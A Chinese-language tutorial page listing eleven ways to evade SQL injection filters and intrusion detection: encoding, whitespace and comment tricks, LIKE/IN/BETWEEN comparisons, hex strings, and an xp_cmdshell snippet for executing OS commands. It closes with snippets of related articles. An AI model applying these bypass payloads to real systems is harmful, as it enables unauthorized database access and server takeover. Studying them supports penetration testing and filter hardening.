39 注入篇 繞過防注入繼續注入

2021-08-16 16:14:55 字數 1835 閱讀 7984

在很多情況下,我們好不容易發現了可能注入的注入點,但是卻由於各種的過濾機制使得我們的注入語句無法執行,這使得我們最後無法拿下**的administrator許可權,本小節我們就講解一些繞過各種防注入過濾措施的方法!

(1)使用編碼技術

通過urlencode編碼、ascii編碼繞過。例如:or 1=1 即:%6f%72%20%31%3d%31,而test也可以為char(101)+char(97)+char(115)+char(116)

(2)使用空格繞過

可以通過使用

兩個空格來替代乙個空格

用tab來替代空格等,或者

刪除所有空格

如or' swords' =『swords' ,由於mssql的鬆散性,我們可以把or 'swords' 之間的空格去掉,並不影響執行。 

(3)運用字串判斷代替

用經典的or 1=1判斷繞過,如or 'swords' ='swords',這個方法就是網上在討論的。 

(4)通過型別轉換修飾符n繞過

可以說這是乙個不錯的想法,他除了能在某種程度上繞過限制,而且還有別的作用,大家自己好好想想吧。關於利用,如or 'swords' = n' swords' ,大寫的n告訴mssql server 字串作為nvarchar型別,它起到型別轉換的作用,並不影響注射語句本身,但是可以避過基於知識的模式匹配ids。 

(5)通過+號拆解字串繞過

效果值得考證,但畢竟是一種方法。如 or 'swords' =『sw' +' ords' ;exec(『in' +' sert into '+' …..' ) 

(6)通過like繞過

以前怎麼就沒想到呢?如or 'swords' like 'sw'!!!顯然可以很輕鬆的繞過「=」「>」的限制…… 

(7)通過in繞過

與上面的like的思路差不多,如or 'swords' in ('swords') 

(8)通過between繞過

如or 'swords' between 'rw' and 'tw' 

(9)通過》或者《繞過

or 'swords' > 'sw' 

or 'swords' < 'tw'

or 1<3

……

(10)運用注釋語句繞過

用/**/代替空格,如:union /**/ select /**/user,pwd,from tbluser 

用/**/分割敏感詞,如:u/**/ nion /**/ se/**/ lect /**/user,pwd from tbluser 

(11)用hex繞過,一般的ids都無法檢測出來

0x730079007300610064006d0069006e00 =hex(sysadmin) 

0x640062005f006f0077006e0065007200 =hex(db_owner) 

另外,關於通用點的過濾方法,我們可以考慮採用賦值的方法,例如先宣告乙個變數a,然後把我們的指令賦值給a,然後呼叫變數a最終執行我們輸入的命令。變數a可以是任何命令。如下: 

declare @a sysname 

select @a= 

exec master.dbo.xp_cmdshell @a 

繞過單引號繼續注入

web 應用程式一般都會使用資料庫來儲存各種資訊,比如電子商務 的帳戶資訊 銷售商品的 訂單 支付細節 和各種不同的許可權數值等。資料庫中的資訊的讀取 更新 增加或者刪除等都是通過 sql來實現的,因此,在資料互動的環節沒有安全過濾淨化,則可能易於受到 sql注入攻擊,嚴重的可能導致資料庫非法操作,...

繞過防注入的11招

1 運用編碼技術繞過 如urlencode編碼,ascii編碼繞過。例如or 1 1即 6f 72 20 31 3d 31,而test也可以為char 101 char 97 char 115 char 116 2 通過空格繞過 如兩個空格代替乙個空格,用tab代替空格等,或者刪除所有空格,如 or...

mysql注入轉義繞過 SQL注入防禦繞過

一 寬位元組注入 1 什麼是寬位元組 gb2312 gbk gb18030 big5等這些都是常說的寬位元組,實際為兩位元組 2 寬位元組注入原理 防禦 將 轉換為 繞過 將 消滅 mysql在使用gbk編碼的時候,會認為兩個字元為乙個漢字 編碼為 5c 編碼為 27 df 5c mysql會認為是...